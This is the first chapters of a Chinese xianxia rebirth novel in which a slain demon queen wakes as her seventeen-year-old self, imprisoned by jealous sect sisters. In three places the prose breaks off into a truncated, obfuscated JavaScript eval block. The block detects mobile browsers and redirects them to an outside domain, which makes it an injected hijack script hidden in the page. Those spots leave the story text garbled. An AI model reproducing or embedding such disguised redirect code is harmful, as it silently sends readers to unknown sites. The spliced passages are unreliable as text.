《我在修仙文里当灭世魔头》 1. 第 1 章 “大师姐,我知道你没死。别装了!” 是谁,谁在说话? 岁禾撑着眼皮想醒来,一点微光在眼前亮了又灭,随后陷入长久的昏暗。 不知过了多久,兜头的寒冷灌入四肢百骸,身体像坠入冰窟。湿哒哒的液体从头上流下来。 是水。有人兜头泼了她一身冷水。沉重的眼皮在水滴的刺激中睁开。模模糊糊的视线中,先是看见一双双脚,再往上便看到一排紫色衣裙。 紫色衣裙,内搭白色濡服,好熟悉的感觉。 这是罗浮宫弟子服?她这是在做梦吗,还是真的已经死透了?看来是真的死了,不然怎么会在死后又看到罗浮宫弟子服,那罗浮宫早在百年前就随南境一起灭亡。 意识一顿混乱,拖拽她又想陷入昏睡。 “这锁困了你一天一夜,你竟还没死。”是另一道冷沉的女声。 那声音越来越近,几乎就要钻到她耳朵里,接着一张明媚的脸庞映入眼帘。 一个头上贴着菱花印记的女子,站着她面前,垂着头,一字一句地问她:“那天在幻海花阵里,你们到底发生了什么?” 发生了什么?岁禾意识一阵模糊,针刺般的疼痛从脑海传来,过了会,意识才清醒些。幻海花阵,那是好遥远的时候了吧,在她年少时,确实曾闯过幻海花阵。没想到人死了以后,还要被逼问生前之事,真是可笑啊。 “别装死,你以为闭上眼睛就能逃过罪责吗?快说,你是不是跟小师弟发生了什么?你们从幻海花阵出来以后,他就不理我了。” 又是这个小师弟,这些聒噪的声音,到底在问些什么…… 岁禾睁开眼,按捺下情绪,这才仔细瞧着面前之人。芙蓉脸蛋,肌肤胜雪,额前一抹菱花印记。 “叶芙蕖。”这人是她年少时的仇敌,跟她一起在罗浮宫长大的儿时玩伴,也是罗浮宫叶掌教的女儿。 她居然会看到叶芙蕖,她不是随着南境灭亡一起葬身火海了吗? 惊惧让她逐渐清醒,岁禾不动声色打量下周围。这里是一座地牢,她正被关在一间地牢房间里,叶芙蕖带着她的四个同伴,满满当当堵在地牢门口。 地牢里阴暗潮湿,多年积水的霉味不断涌入自己的鼻息。这里没有风,只有潺潺的水声从头顶流过。 身体很不舒服,视线慢慢下移,自己全身被铁链锁着,一动也不能动。 印象里自己年少时只被关过地牢一次…… “大师姐不是第一天认识我了,这会叫我名字也没用。”那人略带嫌弃皱眉:“你只要告诉我,那天你跟小师弟,有没有发生什么?” 记忆被撕开一道口子,日光充裕的森林里,一个单薄俊美的背影忽然闯入她的脑海里,那个人背对她坐着,在粉色的花苞里,一言不发忽然转过头望向她。 那是一双美到让人心悸的眸子,眸子的主人平静地望着她。 她忽然心脏发紧。 这不是梦,身体的困倦和疼痛不断告诉她,她还活着。眼前站着的,也是活生生的一群人。 她们都还活着。这真是太好,也太讽刺。 明明前几天,她已经死掉,作为苍梧北境之王的她,在彻底堕魔之后,被一众正派人士围剿,在大雪之日遭修士大能们万箭穿心死,死在了龙山之巅。 而此刻,万箭穿心的痛苦被锁链捆绑折腾的痛苦替代。 那群女人见她不说话,手中之剑早已按捺不住,纷纷出言呵斥她。 “叶姐姐,别跟她废话。谁都知道你跟小师弟情投意合,是顶顶般配的一对。她非要来横插一脚,趁这次迷雾森林试炼,勾引小师弟跟他一起去打凶兽螭蠡,打凶兽是假,缠着他去幻海花里共度良宵才是真。小师弟那般温柔良善之人,不想却中了这个女人的奸计。此时不除掉她,日后待她肚子大了,孩儿都有了,那可真是悔之莫及。” “我早就看她不顺眼了,入门最早,谁见到她都要尊称她一声大师姐,可谁又真的服她。平日里还真当自己是大师姐了,摆一张冷脸给谁看呢。” 又有人补充道:“叶姐姐,杀了她。趁现在连翘长老去了中州,没人会理会这个孤儿的。” 一群人七嘴八舌,义愤填膺,被绑住的女子一言不发,良久才问了一句。 “现在是天祁多少年?” “多少年?你是被捆仙锁伤了心智吗?还是故意在这里装糊涂。现在是天祁二百一十四年。你敢说你不知道?” ……天祁二百一十四年。呵,既然是这一年。 这一年她十七岁,在她死过一遭后,她竟然重生回了她十七岁的这一年。 按照事情的推算,现在应该是天祁二百一十四年的春天。这一年她和出岫学宫的弟子们一起进行考核,然后,在迷雾森林里邂逅了一个突然闯出的美少年……和美少年在幻海花苞里共度一夜后,她被这伙情敌抓进了太苍囚牢。 咳,太苍囚牢,可别提了。这是专门关押凶兽的地方,此刻却把自己抓进来。 可想而知自己是有多么的罪大恶极……当年还是自己的侍女通风报信,最后才救了自己出来。 其实她真的不认识那个美少年,也不知道他是什么小师弟。 这一年她如往常一样,跟众弟子一起前往迷雾森林边缘,谁知突然窜出一只凶恶的螭蠡,对着弟子们一阵追赶,直至她们逃窜到森林深处。 森林深处凶兽遍布,奇花异草繁多,长老们一再告诫初学弟子切不可进入到森林深处。可因凶兽追赶,弟子们一路奔逃,还是逃窜至森林深处。弟子或被凶兽袭击,或被迷雾冲散,只有他们两个,被卷入幻海花阵里。 幻海花为罗浮第一春花,吸入花苞之人将春梦连连,修为涣散,直至精气外泄而亡,彻底沦为一具干尸。若是男女同入花苞…… 可就不好说了。 那一年她被吸入花苞之时,另一个美少年也被卷了进来。她只依稀记得是那人长相俊美,十分年轻,其余的都不记得。但有一点是肯定的,她们并没有发生任何事。尽管幻海花异香袭人,自带催情效果,寻常人确难抵挡。有好几次,她甚至能听到那美少年的呼吸,呼吸声在粉色的密闭空间里被无限放大,简直有点靡靡…… 那人漆黑的瞳仁盯着她,有些情难自禁又有些迷茫,他唤她:“大师姐……” 温凉又低沉的嗓音差点让她沉溺。 那时她怎么说的……“别靠近我,我对你没兴趣。” 岁禾想要捂脸,年少的自己确实不耽情爱,不知拒绝了多年青年才俊,直至到死成魔,都孤寡终生。 年少不知男人好啊。岁禾在心底叹息。 我对你没兴趣。这句话一出,那边果然没了动静。良久,在她都以为时间静止了时,耳畔传来一声轻呵,像是自嘲,像是愤怒,然后又归于平静。 在那样一个花苞里,光线微暗荧惑,本是极为暧昧的场景,可她心内平静,甚至没有认真看清楚他的脸,只眼角扫到角落里委顿在地的紫色长衫,和他几乎看不出来却微微发抖的背脊。 她无意去看,只是普通的罗浮宫小弟子而已,而她那时候心有明月,又岂会再对他人动心半分。 铭藏长老带人找到她们,花苞已经打开。 当众人赶到幻海花阵时,虽然看到这两人齐齐整整从花阵出来,但耳边还是响起了窃窃私语的讨论声…… 男女共入幻海花阵,绝不会是完璧之身。难怪眼前这伙人如此生气,原来是她和别人的未婚夫共待了半夜,若她说什么事都没发生,又会有谁相信呢? 这梁子可就结大了。岁禾本能地想摸鼻子,可哪里动得了分毫,手上似有千斤重,沉重的镣铐绑着她,使不上一点力气。 前几天她才刚死,好不容易重活了一遭,现下处境也好不到哪里去。 她扫视了周遭环境。此处视线黑暗,冰冷潮湿,门口由铁栏拦着,逃是难以逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490094|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,太苍囚牢无人可逃。 岁禾本能地想凝出火羽金翅,打个手势了结了她们。可刚一抬手,便心力衰竭,半分真气也没有。是了,如今她可不再是北境之王,让人闻风丧胆的大魔头如今却是连力气都使不得。 现下这具身体只有筑基后期的修为,且被太苍囚牢的锁链束缚,封住了所有灵力,想与眼前一伙人抗衡,那也是万万不能。 可她还不能就这么等死。她沉吟片刻,说道:“叶芙蕖,你一向不相信我,可你自己心悦之人也不相信了吗?” 叶芙蕖听她这么说,只咬了咬唇,一双如水的眸子寒冰密布。 旁边高个子女子摇她胳膊:“叶姐姐,别听她胡说八道。就是没有发生什么,咱们同处一处学宫,整天抬头不见低头见的,遇上难免不舒心。” “别心慈手软啦。若不趁这次连翘长老不在,再想除掉她就难了。若是叶姐姐你下不了手,这染血的事便由我来替你做吧。”这时叶芙蕖身后走出一个俏丽女子,提着剑缓步走向岁禾。 哪知临到近处,即将被处死的女子不惊不惧,反而面上挂笑。 “你笑什么?” 提着剑的俏丽女子见她这幅摸样,反而拿不准主意。 “我笑你们天真。” 她继续说:“连翘长老不在,难道其他三大长老也不在吗?即使三大长老不在,两山掌教也不在吗?纵使两山掌教不在,罗浮宫三千弟子,就没无一人察觉到你们今日之行踪?你们想在罗浮宫的眼皮子底下杀人,胆子够大的。” 明明还是同一张脸孔,众女却觉得这人似乎哪里不一样了。 那是一种不怒而威的气质,是多年历练造成的淡然。这个岁禾,一向是个修仙废柴,今日却能说出这样一番话。 众女面面相觑,她们一向嚣张跋扈,把她捉来也只是想吓唬下她,若真的把罗浮宫的弟子处死,她们也是惊疑不定的。 可就这么放过她,到底心绪难平。 “叶姐姐,你说怎么办?我们不能这么轻易放过她。” 叶芙蕖冷哼一声,仍旧没有说话。 被绑在地牢里的人露出一个微笑。 “你们困了我一天一夜,我可是饿坏了,这会放我出去,我还能用个早膳,若是想杀我,劝你们早点动手。连翘长老的人每隔一日辰时之初便要来莺歌小筑探望我,若发现我不在屋中,定要找我的侍女盘问一二。即使侍女不清楚我的去向,罗浮宫三山眼线遍布,必不会让一个大活人消失在青天白日之下。” 此刻她提起,正是想提醒众人,别忘了她的身份。 听到众人抽气的声音,岁禾继续道:“若我猜得不错,现在已是卯时三刻,你们还有一点点的时间来了结我。错过这个机会,再动手可就难了。” 意料之中看到紫衣女子们脸都白了。 “她是怎么知道现在是卯时三刻的?” “郭师妹,你昨晚是不是用紫竹鞭抽了她的脑袋,怎么感觉她变聪明了?” “没有啊,那日不是依照你们的吩咐,先用佛陀香迷晕了她,再用捆仙锁将她捉来吗?就她这个修为,哪用得着紫竹鞭……”众人声音小了下去。 就在这个时候,一道声音打破了她们的讨论。 “怎么样?金鼓一开,出岫学宫即将开始点卯,若夫子们发现你们不在学宫中,你们说,他们会去哪里找你们呢?” “够了!”一道声音打断她的说话,是叶芙蕖恼怒的声音。 她安抚同伴,说道:“琼枝,你们先回去。” 那俏丽女子,也就是琼枝,疑惑地看了她一眼。 “叶姐姐你不跟我们一起走吗?” 叶芙蕖:“你们先回去,至于她……我自有决断。” 几个女弟子恨恨看岁禾一眼,犹疑着,终于离开了囚牢。 牢门一关上,叶芙蕖便换了脸色。 那是一种很奇怪,很阴沉的神情。 2. 第 2 章 “你这倒是提醒我了。” 眼见那人一步步逼近,岁禾不由得紧张起来。按理说,侍女小怜见她被这伙人拖入太苍囚牢,这会应该将铭藏长老带来。 可等了这么久,哪里有半分救兵的影子。 “大师姐,你是在紧张吗?你也有害怕的时候。” 那人笑着,艳丽的唇角染上一丝恶毒,在离她很近的地方,她忽然停住脚步。接着昏暗的地牢内,一道雪亮的光划破黑暗。 一丝冰冷,贴住岁禾的脸。岁禾本能一缩,一道剑身贴在自己脸上。 “别动,小心这剑划伤你。” 那人轻轻叹息一声,声音极具关心,岁禾却知道,她是十分伤心与恶毒。 她从小与叶芙蕖一同长大,两人年纪相仿,且都是罗浮宫的“翘楚”之辈,叶芙蕖是罗浮宫掌教之女,她是罗浮宫宫主唯一的关门弟子。两人生来就是要被比较的。 “其实我不明白,你从小样样比不过我,无论是容貌还是武功修为。可大家最喜欢的,还是你。我一直想不通这是为什么。” 她的声音带着缥缈的雾气。 “我是掌教之女,而你只是一个弃儿。若不是宫主下山时发现你,你早就被饿狼叼走吃掉了。”她顿了顿说:“你五岁进罗浮宫,不知走了什么狗屎运,被宫主看中,还当了宫主唯一的徒弟,集万千宠爱于一身。” “你明明是个废物,根骨不佳,用了多少天材地宝,都无法修补好你。你修炼一直很差,同期弟子都已筑基,甚至结丹,而你十十五岁才筑基,你是宫主之徒,宫主也帮不了你。” 岁禾暗暗听着,无从辩驳,只有一个想法。 ……她说的有道理。 自己确实样样比不过她,不过说起容貌,她自己可不承认比叶芙蕖差,顶多是不同的美罢了。 年少时,自己在南境确实走了狗屎运,被师父捡到,收为徒弟,并做了大师姐,身份尊贵。 但若论修为,确实有些不配位。 “……你说的对。” 叶芙蕖转脸:“??” 岁禾忌惮脸上的剑身,讪讪道:“您继续说……” 叶芙蕖叹息:“你处处压住我,这也就算了。宫主是大家的宫主,我也不跟你争了。可是,你为什么要勾搭小师弟?” 说到这里,叶芙蕖手中之剑气得抖动几下,岁禾半眯着一只眼,在提心吊胆中躲过一劫。 “我没有。你听我说,你这人,怎么不听劝呢?” 岁禾吊着嗓子,她可不想当个留疤的美女。女魔头也是要脸的,没脸的女魔头,算什么女魔头。 她拿出多年劝说下属一起干事业的态度出来,耐心地跟她周旋:“别激动,咱们有话好说。嗯,首先,我非常理解你,遇到这种事,谁都生气,对不对。但是啊,你冷静一点,你自己也反思下,是不是你也有错呢?你看啊,这个师弟他为什么找我没有来找你呢?” “……” “……不是,我是说,肯定是你们之间闹了矛盾啊,师弟想不开,所以暂时救了别的女人。” “……” “……不是,我是说,这也侧面反映出,师弟他人品好啊,如果师弟他人品不好,他怎么会在别人、我,遇到危险时挺身而出,过来帮助我呢?这说明你看人的眼光不错啊。” 岁禾继续组织语言,说道:“师弟他跟我清清白白,你想啊,第一师弟他品德良好,对吧,他绝不会做出越轨之事。第二,师弟他修为高吧,他肯定是一剑劈开了花苞,将我救出来啊。无论哪种,你都应该相信我们啊,嗯,相信你的师弟。” 叶芙蕖沉默。手中之剑松了松,良久才给她投去一个狐疑的眼神。 似乎没有料到眼前之人如此伶牙俐齿,似乎哪里变了一番。 “就如你所言,你们真的没发生什么。但是,我今日也绝不会放你出去。” 为什么?岁禾歪头看她,我唾沫都说干了,你不放我出去? “一旦你出去,你会告知宫中长老,罗浮宫礼法森严,长老们不会放过我,我爹更不会放过我。” 叶芙蕖下了结论:“所以,还是在这里结果了你吧。” “等下!”岁禾心跳出嗓子眼,你来真的是吧。 “你还有什么话要说?” 剑身的压迫感骤然减轻,岁禾指指叶芙蕖,又指指她的手腕处。 “你这是何意?” “你还是看看你的两腕处,再说吧。” 叶芙蕖一手仍持剑,一手掸开衣袖,左边手腕处,一条细细的紫色纹路正顺着她是手臂往上蔓延。 “有毒!”她杏仁眼朝她一瞥,很快反映过来:“是你下的毒!” “是我下的毒。”岁禾正言。 “什么时候的事?” “从你一进入这个地牢开始。” “你竟然会下毒,解药给我。”叶芙蕖试着调息经络,果然灵气游走不畅,不知这是什么毒,竟会不知不觉中缠住人的灵气。 “你可知我为何修炼不佳?” “为何?” 因为我有毒啊。我从小身中鸩羽之毒,不然为何会修炼不佳……会受尽白眼。 这些,岁禾不想再提了,她轻轻一笑,说道:“不如我们做一个交易吧。” …… 一炷香后,岁禾回到自己的住所莺歌小筑。 这里是离出岫学宫很近的一处住处,由两间正房和一处后院构成。 岁禾依着记忆,一路曲折回绕,躺倒在自己绵软的被窝中。直到深陷柔软的被子,才踏踏实实感觉到神魂和七窍归位。 她如今是真的活过来了。 真真实实活过来。 这里是终年阳光馥郁的南境,而不是常年积雪的北境龙山。 被子上水洗晾晒过,有阳光轻软的芳香。这里不再寒冷阴郁,不再需要燃烧壁火,也不再因寒冷而身体蜷曲。 一切都是舒展,和自由的味道。 侍女小怜推门而入,将汤药递给她,小口小口喂她喝,隔着蒙蒙的热雾,岁禾几乎有些想流泪的冲动。 “是不是这药太苦,阿禾你怎么要哭的样子?” 面对小怜的不解,岁禾也只是轻轻摇头。 眼前的少女略带稚气,穿着一身鹅黄衣衫,大概十三岁的样子。在前世,南境被灭国时,是这位少女救了她。化生成本体形态,鹿灵,一路奔逃,躲避战火,将她载往中州。 最后倒在南境和中州交界之处。 “活下去。”后来无数次,在她站着权力的巅峰,站着龙山顶上的九阙宫殿,她都会想起小怜的话。 活下去。那是人生中,为数不多,关爱她,甚至为她牺牲性命之人。从此中州寒夜漫漫,北境风雪肆虐,她一个人在尸山血海里载浮载沉,除了陪伴她左右的两个下属,再无一人肯真心待她。 那个伤痕累累的鹿灵和眼前这个少女的摸样重合。 岁禾无比庆幸,她们都还活着,还陪在彼此身边。只要活着,就还有希望。只要活着,或许可以阻止南境被覆灭的悲剧。 喝完药,岁禾好好洗了个澡。一身的疲惫被冲刷殆尽,虽然捆仙索伤了根骨,但养两天也不会有什么大问题。 穿好衣服后,岁禾坐在桌子前甜甜蜜蜜喝起了小怜收集来的花蜜。 馥郁的香味让她不自觉闭上眼睛。在这里真好啊,岁禾情不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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遥远的记忆一点点拼合起来,岁禾记起那人苍白的面容,被花茎刺中,流血的肩背。以及在她吸入幻海花粉,神志不清软倒在他怀里…… 那种肢体接触的,男人的气息。 他似乎对她有些动情,却在她冷冷的“我对你没兴趣”之后,一双眸子黯淡下去。 仿佛满天的星河破碎在花海里。直到现在,她都还记得他脸上一点点退去的星光。 他是来救自己的。岁禾心想,直到最后天亮,花苞枯萎,他也没有动过她分毫,出花苞那一刻,她没有再去看他失血过多的脸,也没有再看他背后干涸的血迹。 她像是失忆了一般。 在南境时,她从来不再记起这位小师弟,只是记起了叶芙蕖她们一伙人对她的迁怒,并将这迁怒转化在了这位师弟身上。 一丘之貉。这是岁禾对此人最后的评价。 其实过了这么多年,她已经不记得这人曾经过来看望过她。也许真的在百年前的这个夜晚,他也曾披着星光将这个小药瓶送给她。 那时她怎么说的,她已经忘了。 大概仍是这一句吧。 ——你去把这个瓶子还给他,叫他以后别来找我。 岁禾想到有点心塞,推开纱窗,却见窗前的小径上,除了小怜回来的身影,连只猫都不见,哪里还有半个人影。 他已经走了。 岁禾心想。走了也好,省的以后多些事端。 3. 第 3 章 岁禾在莺歌小筑宅了两天,才去出岫学宫。 按照之前跟叶芙蕖商量好的,她帮她解毒,她如约放她出太苍囚牢。 顺便,帮她告假两天。 出岫学宫位于出岫山的半山腰,由一片灰色的建筑群构成,灰墙黑瓦,古朴而幽静。是罗浮宫为培养弟子专门打造的学堂。 罗浮宫由三山组成,紫云山和断月山为两山掌教所在之地,出岫山则为四大长老和出岫学宫所在之处。 岁禾到达学宫门口时,正好碰上学宫门口的灵泉正在喷水,以往她术法低微,运气又差,每次来学宫,回回都要被门口的灵泉滋水。 有不少学子专门等在那里看她的好戏,这是他们一天之中的乐趣之一。 圆形的水池雕刻着一条白色的假龙,传说是紫皇的坐骑,也是他的伙伴,为了纪念小白龙,后世之人把小白龙雕刻在水池中,白龙滋水,寓意开启新的一天。 白龙回回滋水,岁禾回回被滋中。 然而这次,在众学子看好戏的目光中,岁禾轻轻巧巧从水池中飞过,不是在水池左边,更不是走水池右边,是从水池上,一掠而过。 “你刚才看到了吗?” “看到什么?” “她居然飞过去了。” 学子们歪着脑袋,纷纷不解:“这还是我们认识的岁禾吗?” 岁禾回头,朝身后的学子露出一口小白牙,挂出招牌式的微笑。 承让! 重活一世,还被水打中,也太没道理了吧。其实在往后的北境生涯中,岁禾一次次在梦里跳这个水池,不知跳了多少次。现在不过是重现梦境罢了。 只是这就无人可知。 点过卯,过会才开课,夫子还没来,学堂上,已经满满当当坐好了来听剑课的学子。 岁禾按照记忆中的方向,在后排找到自己的座椅坐下。 她右手边两个学子正在吵架。 一个男弟子捂着半只眼,正在数落他前面桌子的人。 “我知道你看我不满,故意下毒害我,这根本就是小人行径。” 另一个男弟子捂着牙齿,龇牙咧嘴说道:“你还不是一样,在我的伙食里下毒,现在我一口好牙全掉光了。” “那可不是我干的,少污蔑我!” “不是你又会是谁?” “下学别走,谁走谁是孙子!” 两人大眼瞪小眼,忽然一句清冷的女声打破气氛。 两人回头,这才发现左手边两天没人坐的空座上,来了一个女弟子。 “关你什么事!”两人异口同声。 “其实啊……你们有没有想过,出岫后山的乌木果是有毒的呢?” 女弟子他们认识,是一向不受待见的宫主弃徒岁禾,因天资很差,被宫主弃养在出岫学宫,跟他们一样。 “大师姐,什么风把你吹来学宫啦?” 岁禾扶额,看来她以前在出岫学宫确实不受待见。 “这乌木果之毒,是由内向外的,先是侵入内腑,再才是渗出皮肤,看你们这样子,已经中毒一月有余,我劝你们,还是早点去金匮阁看看吧。” 捂着眼睛的男弟子手放下,露出一只紫青色的乌鸡眼。 “我们凭什么相信你,大师姐现在还研究起医术了?” 话是这么说,两人对视一眼,皆有些心虚,回想起自己一月前去出岫后山,确实食过这种果子,这才后知后觉起来。 正在这时,喧嚣的学堂安静下来。 原来是剑夫子走进了学堂。 岁禾也坐回自己的椅子上,话已至此,爱信不信吧。她在北境时不知食过多少乌木果,甚至比这毒性更烈的毒物都食过,想害她的人遍布天祁整个大陆。 岁禾将书袋摊开,拿出笔纸,调整呼吸,快一百年了,又得重新当起学子,适应学宫的生活。 四周瞄一眼,皆是熟悉的面孔,只是过了许多年,已经叫不出人名来了,当年都是她的同窗。 这堂课夫子在讲授剑课,在讲授基本的御剑法诀后,夫子开始发问。 “说到这里,我还没有问过诸位,为何要修仙呢?” 提问环节果然让人紧张,周围一片鸦雀无声,只有夏初的风穿堂而过。 过了这么多年,岁禾仍感觉到那种让人血脉跳动的紧张感,仿佛下一刻被点到名,就能看到自己磕磕巴巴说出一些云里雾里,让人嘲笑的话,引得哄堂大笑。 好在安静没过多久,就有自告奋勇的弟子站起来回话。 弟子是前排的弟子,面貌很熟悉,可姓名她仍旧认不得了。 弟子说:“谁不想修仙?修仙当然是求仙问道,最后飞升成仙,像神仙一样逍遥快活,寿比天齐。” 夫子是老派夫子,留着一把银白色的胡子,有些年迈,但精神矍铄。是教剑课的朱夫子。朱夫子听他这么说,不置可否,只是示意他原位坐下。 周围人不知他是何用意,也不知道他为何会问出这么简单的问题。在众人看来,修仙问道仿佛是他们灵族人天生就会的使命,就像人生下来要吃饭一样,他们生下来就要修仙。这并不是什么值得讨论的话题。 灵族弟子从八岁开始正式修炼,南境云隐国的弟子,根骨佳者可于十五岁来到罗浮宫出岫学宫进行系统学习,学习练剑、制箓、练丹等技能。在他们之前,已经有大批师姐师兄来此处进修。可究竟为何修仙,他们也从来没有想过。 可方才那个弟子所言,似乎朱夫子并不满意。 又有弟子自告奋勇站起来:“灵族人修仙,是我们的使命。” “老而不死曰仙,仙者,迁也,长生长久不死不灭。凡人寿命不过百年,而灵族人也不过短短三百年,唯有修仙,才能寿比天齐。” 如今整个天祁大陆分为人族、灵族、魔族。魔族被认为早已灭亡,所以现存的种族除了人族就是灵族。人族受根骨影响,并不能修炼,只有灵族可以通过修炼得到升仙,这是多么荣耀的事情,问为何修仙,可不是一句笑话吗? 谁不想活得更久一点。 可夫子却皱眉说:“话虽如此,可自紫皇飞升后,一千年以来,再无人能飞升,修仙本来就是夺天地只能的逆举,盗天地之气以寸己身,长此以往,天地失衡,到时候天地岂能容人?” 如今天祁大陆灵气越来越稀薄,修士们修炼速度越来越慢,甚至在越境的紧要关头,很多走火入魔而死,皆是因盗天地之气为自己用,所以遭到了天道的反噬。若他们走上修仙这条路,说不定哪天被爆体而亡,被反噬而死的就是他们。 弟子们疑惑了,还未长生便死在了修炼的路上,这不是与修仙所追求的悖论了吗? 正在弟子们面面相觑中,第二排站起来一个弟子。 弟子说:“修仙可不止为了追求长生,还能问道于天下。” 声音不徐不缓,清润如雪水,缓缓淌过。 有人说:“哇,是小师弟!” “小师弟说话了!” 小师弟,岁禾心中突然猛地像被什么掷了一下。 “如今魔族虽除,可妖邪仍在,不公之事仍在。倘若我们不修仙,不强大己身,遇到妖邪如何与之相较?遇到不公如何奋起抗争?遇到黎民有难如何匡救众生?” 满室的安静因为他的话开始沸腾起来。 若不强大己身,何以匡扶天下,何以救治黎民。 唯有修仙,学到真本领,才能平天下所不能平。 说话之人背对他,又隔了几排弟子,只能看到他大半个背影,和束起的长发。 其实声音她很熟悉,此小师弟,不会是那个小师弟吧。 周围几个学子听完他的话已经议论起来。 “若不公发生在自己身上,甚至发生在天下百姓身上,岂不是辜负了我们作为灵族人可以修炼的天赋。” “不愧是小师弟,虽入门较晚,但修炼奇快,不仅剑法高超,还心怀天下,真是我们学宫的翘楚。” 小师弟。这三个字再次在岁禾心上狠狠砸了一下。 幻海花里淫靡的场景顿时绕在她脑海里,岁禾脸上有点热,很快她就将这些让人分神的画面赶走。不会这么巧的,她可不记得她们在同一个课堂出现过。 不过,既然幻海花阵他们能遇到,在这里遇到又有什么可奇怪的。 岁禾赶忙去找叶芙蕖和琼枝一伙人的身影,果然见叶芙蕖在第一排坐着,正回过头,一脸幸福且骄傲地看着她后排说话的男弟子。 不是这么巧吧…… 再抬头看向那说话的小师弟,小师弟正回过头,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490096|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众弟子看了一眼。 明明是在看众人,岁禾却隐隐有感觉,那视线有一瞬间的错愕。 仿佛是在诧异她为何突然出现在此处。但也只有一瞬,那疑惑的视线又移开。 那小师弟回过头,没有再看身后的众人,说了几句话,就坐下身。 岁禾松口气。也许刚刚只是她的错觉,也许那师弟早就忘了那天的场景,只有她一个人觉得尴尬而已。 或者,师弟他根本不在意她在不在此处。 不知道他背上的伤好了没有,看他这朗声站立的样子,应该是大好了吧。 不知为何,这堂课岁禾听得格外有些心不在焉,脑海里一会是那天花苞里那小师弟叫她的低吟声,一会又是叶芙蕖提剑要来斩她的画面。 岁禾也很无奈,她在心神不宁什么,再怎么说,他和叶芙蕖才是一对。 她何必想这么多。 学子的声音自动钻进她的耳朵里。 “修仙固然是盗天地之气以用己身,可山林草木,河流湖泊,哪个没有盗天地之气,与其说是盗天地之气,不如说我们人族本身就是天地之气的组成。既如此,何谈盗气之说?” 此言一出,周围哗然。 “说得有道理。我们本来就是天地的一部分,何来盗气之说。” “可能那些爆体而亡的修士根本就不是因盗用了天地之气,而是自身修为不佳才如此。怪不得天,也怪不得地,更怪不得修仙本身。” 那些修士爆体的原因,也许确实与天地之气无关。 天祁大陆的灵气越来越稀薄。除了南境因环境好,灵气充沛,其余中州、东海、西部凉州鬼蜮、苍梧北境这四大境已经越来越不适合修炼。 天地灵力稀薄,失衡失道,不知是何原因。 “天地失衡不失衡,我们不知道,但若是害怕天地失衡,就放弃修炼,放弃改变这天地的机会,放弃救治黎民的机会,岂非是为自身懒惰找借口,而怨了这与地的失衡。”有弟子站起来阐述自己的观点。 “好!” 不知是谁赞叹一声。 原来是讲台上的朱夫子,本该被公然叫板的学子们恼怒到的人,却丝毫没有愠怒,而是挂着欣慰的笑意。 “你们说的很多,这正是我要告诫你们的。” 夫子说:“修仙不止为长生,还为问道。” “若是在座之人,只为长生,不顾苍生,庸庸碌碌一辈子,无所作为,不如离开这出岫学宫,另寻他处修你的长生道。” 被他视线扫到的那几个学子,脸红得快滴血,羞愧得低下头。 “昔日紫皇修红莲之剑,斩杀北境十万魔兽,镇压魔君司空青云,拯救黎民苍生,最后飞升而去。今我之辈,虽不能比肩紫皇,却也应以之为范,护卫南境,守卫黎民。” “从今日起,诸位必须严阵以待,勤加修炼,不日四大长老将与夫子一起发布考核,甄选出紫薇之子。” 紫薇之子,这四个字一出,众学子都眼神发亮。紫薇之子能得到紫皇的全套红衣莲火心法,这是何等荣耀。 夫子:“获得紫薇之子称呼之人,将被送往中州,跟中州学子一起,共同开启神剑阁秘境,争夺神剑过白驹。” 一语毕,引起哗然。 光是全套红衣莲火心法已足够令人心动。过白驹,天下最高圣剑,更让人沸腾。 传说过白驹为紫皇遗骨制成,削铁如泥,克阵杀敌,能斩杀十万阎罗。若是能获得全套红衣莲火心法,再习得过白驹,只可称霸整个天祁大陆了。 这个条件的确让人心动。 岁禾眯眼,那柄剑又要回来了吗? 神剑在手中低鸣的感觉从脑海中传来,仿佛在呼引她的前去。 前世她在东海偶然得到这把神剑,后来又机缘巧合得到了半部红衣莲火心法,直至当上北境境主,如今,若是能得到全套红衣莲火心法,不知会如何厉害? 前世她被四方修士围剿,最后被一个戴面具的吹笛男子破了功法,身死在龙山之巅。 若是有全套红衣莲火心法,那就另当别论了。 这一世过白驹居然进了神剑阁被哄抢,她可不能让那柄剑落入别人的手中。 神剑只能有一个主人—— 那个人必须是她! 4. 第 4 章 学宫没有课的时候,岁禾会来出岫山后的药庐,给连翘帮忙。 连翘是一位四十多岁的女长老,一身红火劲装,长得十分丰腴美艳,是金匮阁的长老,专管丹药炼制,是四大长老之一。 岁禾被罗浮宫宫主裴煜从山脚下捡来后,一直散养在连翘这里。可以说,连翘相当于是岁禾半个母亲。 “半个母亲”大多时候在金匮阁忙活,少部分时候在药田里看顾她的药草。 傍晚十分,岁禾踏着夕阳来到药田边,径直进了药田边的一方药庐。 药庐由稻草和木材搭建而成,看起来十分简陋,唯有上方蘑菇似的造型还算独特。 岁禾进药庐里面,连翘正躺着她的美人椅上吃蜜饯,两个小药童在她身旁忙活着,一个在给她扇风,一个在给她递盘子。 